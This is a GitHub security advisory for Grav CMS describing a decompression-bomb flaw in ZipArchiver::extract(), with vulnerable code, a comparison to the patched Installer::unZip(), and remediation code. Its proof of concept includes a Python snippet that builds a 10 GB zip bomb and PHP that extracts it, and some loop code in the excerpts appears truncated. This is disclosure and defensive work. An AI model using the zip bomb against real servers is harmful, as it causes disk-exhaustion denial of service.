GitHub Advisoryadvisory · Packagist

GHSA-928x-9mpw-8h56 Grav: Decompression Bomb via ZipArchiver - Missing Extraction Limits

MEDIUM Published 2026-09-02 Modified 2026-09-02 Official page ↗
Aliases
CVE-2026-61690
Ecosystem
Packagist
Packages
getgrav/grav
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Weaknesses
CWE-409
Reviewed
2026-09-02

Affected packages

• Packagist getgrav/grav: < 2.0.1 → fixed in 2.0.1

Description

Summary `ZipArchiver::extract()` lacks limits on uncompressed size, file count, and nesting depth, creating a distinct, unpatched variant of the GHSA-2vcx-h8p2-9pg9 zip bomb vulnerability. While the parallel method Installer::unZip() received comprehensive limits, ZipArchiver::extract() remains unprotected, leaving a separate code path vulnerable to the same attack vector. The vulnerability is a distinct, unpatched variant of the bug described in GHSA-2vcx-h8p2-9pg9, as it affects a separate code path in the same codebase, implementing the same abstract class. --- Details Vulnerable code - `system/src/Grav/Common/Filesystem/ZipArchiver.php:29-58`: ```php public function extract($destination, ?callable $status = null) { $zip = new ZipArchive(); $archive = $zip->open($this->archive_file); if ($archive === true) { Folder::create($destination); // Only guards against Zip Slip (path traversal) for ($i = 0, $count = $zip->count(); $i getNameIndex($i); if ($name !== false && !$this->isSafeEntryPath($name)) { $zip->close(); throw new RuntimeException(...); } } // Extracts EVERYTHING — no size, count, or depth limit if (!$zip->extractTo($destination)) { ... } $zip->close(); return $this; } } ``` What's missing vs `Installer::unZip()`: | Protection | `Installer::unZip()` | `ZipArchiver::extract()` | |-----------|---------------------|------------------------| | Zip Slip guard | ✅ | ✅ | | Max uncompressed size | ✅ (1 GiB) | ❌ | | Max file count | ✅ (50000) | ❌ | | Max nesting depth | ✅ (48) | ❌ | | Pre-extraction validation | ✅ All entries validated first | ❌ Extracts immediately | The fix applied to Installer (GHSA-2vcx, `Installer.php:178-269`): ```php // GHSA-2vcx-h8p2-9pg9: bound what extractTo() will write to disk. $limits = $this->archiveLimits(); $size = $count = $depth = 0; for ($i = 0; $i getNameIndex($i); // Check size, count, and depth BEFORE extracting anything if ($limits['maxSize'] > 0) { $size += $entry['size']; } if ($limits['maxDepth'] > 0) { ... } if ($limits['maxFiles'] > 0) { $count++; } // Reject if any limit exceeded } // Only now: $zip->extractTo($destination); ``` None of this validation exists in `ZipArchiver::extract()`. Reachability: `ZipArchiver::extract()` is a public method on a concrete class, accessible via the `Archiver::create('zip')` factory. While no first-party Grav code currently calls `extract()` on a `ZipArchiver` instance, third-party plugins and custom code that use the `Archiver` abstraction for ZIP restoration will walk directly into this unprotected path. --- Proof of Concept Step 1 - Create a zip bomb ```bash Create a 10 GB zip bomb (42 kB compressed) python3 -c " import zipfile, os z = zipfile.ZipFile('/tmp/zipbomb.zip', 'w', zipfile.ZIP_DEFLATED) zeros = b'\x00' * (1024 * 1024 * 1024) # 1 GB of zeros for i in range(10): z.writestr(f'file_{i}.txt', zeros) z.close() " ls -lh /tmp/zipbomb.zip Output: 42K /tmp/zipbomb.zip → expands to 10 GB ``` Step 2 - Extract via ZipArchiver ```php $archiver = Archiver::create('zip'); $archiver->setArchive('/tmp/zipbomb.zip'); $archiver->extract('/tmp/extracted'); // ← no limits, fills disk ``` The server's disk fills with 10 GB of data. If the web root shares the disk, the site becomes unavailable (DoS). --- Impact Any code path that extracts a user-supplied ZIP archive through `ZipArchiver::extract()` will write the entire archive to disk without limits. A 42 KB zip bomb can expand to fill available disk space, causing denial of service. On systems where the extraction directory shares a partition with the web root, the entire site becomes unavailable. --- Remediation Apply the same `archiveLimits()` validation from `Installer::unZip()` to `ZipArchiver::extract()`: ```php public function extract($destination, ?callable $status = null) { $zip = new ZipArchive(); $archive = $zip->open($this->archive_file); if ($archive === true) { Folder::create($destination); // Apply the same archive limits as Installer::unZip() $limits = $this->archiveLimits(); $totalSize = 0; $totalFiles = 0; for ($i = 0, $count = $zip->count(); $i getNameIndex($i); if ($name === false) continue; // Zip Slip guard (existing) if (!$this->isSafeEntryPath($name)) { $zip->close(); throw new RuntimeException(...); } // Decompression bomb guards (NEW) $stat = $zip->statIndex($i); $totalSize += $stat['size'] ?? 0; $totalFiles++; $depth = count(explode('/', trim($name, '/'))); if ($limits['maxDepth'] > 0 && $depth > $limits['maxDepth']) { $zip->close(); throw new RuntimeException('Archive exceeds max nesting depth'); } } if ($limits['maxSize'] > 0 && $totalSize > $limits['maxSize']) { $zip->close(); throw new RuntimeException('Archive exceeds max uncompressed size'); } if ($limits['maxFiles'] > 0 && $totalFiles > $limits['maxFiles']) { $zip->close(); throw new RuntimeException('Archive exceeds max file count'); } if (!$zip->extractTo($destination)) { ... } $zip->close(); return $this; } } ```

Related

Alias · CVE (1)

Weakness · CWE (1)

  • CWE-409 Improper Handling of Highly Compressed Data (Data Amplification) weakness

References